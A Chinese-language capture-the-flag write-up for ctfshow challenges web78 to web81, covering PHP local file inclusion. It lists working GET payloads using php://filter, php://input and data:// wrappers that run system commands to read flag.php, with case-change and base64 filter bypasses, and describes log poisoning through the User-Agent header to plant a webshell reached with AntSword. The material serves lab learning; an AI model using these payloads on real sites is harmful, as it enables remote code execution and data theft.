文件包含学习 web78-81
文件包含学习 web78-81
edited by twi1igh7
web78
先看源码
有include函数,文件包含,打法很多
Payload1
GET传参
1 | ?file=php://filter/read=convert.Base64-encode/resource=flag.php |
Execute后得到Base64编码字符串PD9waHANCg0KLyoNCiMgLSotIGNvZGluZzogdXRmLTggLSotDQojIEBBdXRob3I6IGgxeGENCiMgQERhdGU6ICAgMjAyMC0wOS0xNiAxMDo1NToxMQ0KIyBATGFzdCBNb2RpZmllZCBieTogICBoMXhhDQojIEBMYXN0IE1vZGlmaWVkIHRpbWU6IDIwMjAtMDktMTYgMTA6NTU6MjANCiMgQGVtYWlsOiBoMXhhQGN0ZmVyLmNvbQ0KIyBAbGluazogaHR0cHM6Ly9jdGZlci5jb20NCg0KKi8NCg0KDQokZmxhZz0iY3Rmc2hvd3tiZTE1NmZjMy1jZDM5LTQyMDQtYjMxMi1lMjE5OWFhMzI3NGR9Ijs=,解码后得到flag
Payload2
还是用php://filter伪协议,但是换用convert.iconv
1 | ?file=php://filter/read=convert.iconv.utf8.utf16/resource=flag.php |
运行后即可获取flag
Payload3
用php://input伪协议也可以打
注意burpsuite中GET传参时空格要用%20代替
Payload4
用data://text伪协议也可以打
1 | ?file=data://text/palin,<?php%20system('cat%20flag.php')?> |
web79
先看源码,这道题就多了一个过滤php,可以用大小写绕过写php伪协议,但是文件名没有办法绕过,因为linux中文件名对大小写敏感
Payload1
所以我们换用php://input伪协议
1 | ?file=Php://input |
Payload2
我们也可以换用data伪协议
1 | ?file=data://text/plain,<?=system("tac%20flag.php");?> |
如果不用短标签的话就要用大小写绕过
1 | ?file=data://text/plain,<?Php%20system("tac%20flag.php");?> |
Payload3
也可以使用base64编码后给data://text
1 | ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg== |
web80
还是先看源码,这道题把data也ban了
Payload1
大小写绕过用php://input伪协议
大小写好像绕过不了data伪协议,但是php就可以,也是很奇怪了hh
Payload2
这道题我看别的wp用的比较多的是日志注入
可以看看这篇文章文件包含漏洞-日志注入 - 咬人的萝卜 - 博客园
1 | 从我的角度来理解: |
蚁剑连上以后也能成功得到flag
总结
1 | apache一般是/var/log/apache/access.log。: |
web81
还是先看源码
Payload1
还是日志注入,和上道题一样的做法
改User-Agent->访问一次->蚁剑连接->Get flag
好像这道题都是用的日志注入,没别的做法了











